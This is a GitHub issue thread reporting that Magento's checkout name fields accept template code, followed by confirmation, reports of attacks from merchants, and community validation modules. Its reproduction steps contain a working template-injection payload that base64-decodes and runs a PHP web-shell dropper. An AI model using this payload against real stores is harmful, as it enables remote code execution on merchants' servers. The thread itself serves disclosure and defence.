Checkout address forms allow random code in the name fields #39002
Comments
|
Hi @nkarthickannan. Thank you for your report.
Join Magento Community Engineering Slack and ask your questions in #github channel. |
|
@magento give me 2.4-develop instance |
|
Hi @nkarthickannan. Thank you for your request. I'm working on Magento instance for you. |
|
Hi @nkarthickannan, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering |
|
Issue confirmed in the default Magento provided above. Screenshots are attached here:
|
|
I have the same issue with Magento CE 2.4.5-p8. Had 2 injection codes attack using the first name and last name fields. No validation on the checkout page. |
engcom-Bravo
added
the
Reported on 2.4.7-p1
|
Hi @engcom-Bravo. Thank you for working on this issue.
|
|
Similar code injection in to the customer name field of a bogus guest checkout order received on a production Magento CE 2.4.6-p6 website. |
|
I am also getting same issue. Some one is trying to add file using base 64 en coding. When i decode i got following
Magento version is CE 2.4.5-p1 If anyone havae solution then please provide. |
|
There seems to be a major attempt at code injection at the moment. We were also able to reproduce the same behaviour in several instances. In my evaluation, this only refers to the guest checkout. This was observed in the production system from 3 August. Server error log: It seems here that it was tried using the REST Api and checkout page: The system should fix the problem with CVE-2022-24086, but the orders are still coming in and a validation should be carried out beforehand. There already seems to be a merged pull here, but it is not yet included in the core: |
|
@magento give me 2.4-develop instance |
|
Hi @engcom-Bravo. Thank you for your request. I'm working on Magento instance for you. |
|
Hi @engcom-Bravo, here is your Magento Instance: https://f98c6c8fdb7a86eb78316009476e2e09.instances-prod.magento-community.engineering |
|
Hi @nkarthickannan, Thanks for your reporting and collaboration. We have verified the issue in Latest 2.4-develop instance and the issue is reproducible.Kindly refer the screenshots. Steps to reproduce
It allows the first and last name with the random code without throwing any error. Hence Confirming the issue. Thanks. |
engcom-Bravo
added
Component: Checkout
Issue: Confirmed
|
✅ Jira issue https://jira.corp.adobe.com/browse/AC-12687 is successfully created for this GitHub issue. |
|
✅ Confirmed by @engcom-Bravo. Thank you for verifying the issue. |
Hello Thank you so much for your effort, I really appreciate it! But you have missed some fields. Actually can you filter all these fields: first name And can you do it for all possible inputs like: Shipping address After that we all be 99.99% protected Cheers |
|
@ssx @RotzGott @Max-Leps Yea, It's a great idea everything to be validated. Just finished the module. Now every field is protected. https://github.com/bafmaamy/Magento-FieldValidator Tested on 2.4.6 @in-session I really want to help about this, but not enough skills to touch the core of magento. Now the module validating fields of Order Creation, Customer Creation, Customer Name Update, Customer Address Update and save every unsuccessful attempt. Hope this can help. |
|
if the problem with firstname and lastname gets solved sooner or later, how is it possible to place an order bypassing the payment altogether like attackers are doing? I don't think it's related with the firstname and lastname content. Orders look legit apart from those values, and some people may fall to fulfil them without checking if a payment has gone through |
Some payments are completed in two steps, usually when a payment gateway is set to redirect mode. In these situations, the order is placed into Pending Payment, they go off to complete payment and the order is updated once they return. |
|
Just an update, today when I try to place an order with name/address fields Magento (Commerce Cloud 2.4.6-p6) returns 400 bad request error with message "malformed request". Aug security patch hasn't applied yet. This error shows for both the frontend and API and stops placing an order. Last week, I could still replicate this issue in the STG environment. Probably Adobe Cloud Team applied Fastly rules just now. Update |
Yeah I'd imagine so, for our Commerce Cloud clients that's exactly how I did it too! |
Hello I tested the module and I am still able to inject code during registration
Also I am not getting email when it catches the injection attempt. |
|
@Max-Leps yes, forgot about state/region validation. Added in AddressSavePlugin.php : // Validate State/Region
$region = $address->getRegion();
if ($region) {
$this->validateInput($region->getRegion(), 'State/Region Name');
$this->validateInput($region->getRegionCode(), 'State/Region Code');
$this->validateInput($region->getRegionId(), 'State/Region ID');
}and similar if statement in OrderSourceLogger.php Check the updated files: About the email notifications, please ensure that mailx is installed and configured correctly on your server. Try: |
|
Based on https://github.com/bafmaamy/Magento-FieldValidator (great job @bafmaamy!) I've release a similar extension with these different features:
The extension is available here: https://github.com/WaPoNe/module-input-fields-validator and it can be installed by composer:
|
That's good but is in conflict with ebizmarts payment plugin
When we enable that module, it stops working with its all extensions even when all the fields are filled in correctly Cheers |
Hi IDK what you have changed recently but after all this changes it stopped working with payment module o its in conflict with that module.
Cheers |
|
@Max-Leps There is a possibility your payment module to use same kind of validation for the region field or you have enabled both modules together - the WaPoNe's and this one. Check the logs, the error is there. Otherwise try the old version without the region validation: In app/code/Bafmaamy/FieldValidator/Plugin/OrderSourceLogger.php comment lines from 60 to 65 and from 73 to 78. 
then remove or comment from AddressSavePlugin.php " php bin/magento setup:di:compile |
|
@ssx @jonaschen623 We are on cloud, where would we find these changes and if they are applied? |
Adobe confirmed they haven't applied any change. The only recommendation is blocking suspicious IPs using Fastly. So I have no clue now. 😆 |
|
I am still waiting for the final solution for this issue, currently just blocking their route of the IPv4 IPv6 address via iptables, it seems everything is in order these two weeks by far. |
|
OK, I've made a little bit more on it, that should cover the most important things, but it's still in the test phase: #39030 Maybe someone would like to try it out. |
|
gj, but still "{" allowed in the Region field and Company field. |
Is it magento core changes? |
|
@Max-Leps I am personally waiting for an official Magento core change, not a custom plugin. Input validation against code injection should be part of the Magento platform. We shouldn't have to install or buy an extension for this. |
|
@Max-Leps |
|
Hello |
|
@Max-Leps |
|
Hello Any core fix for the issue so far? |
and others
Preconditions and environment
Magento version - 2.4.7-p1
Steps to reproduce
{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}
Expected result
Magento should not allow to proceed by throwing an error
Actual result
Magento allows the user to proceed further without throwing an error
Additional information
Similar issue is already raised and resolved here - #38331
Release note
No response
Triage and priority
The text was updated successfully, but these errors were encountered: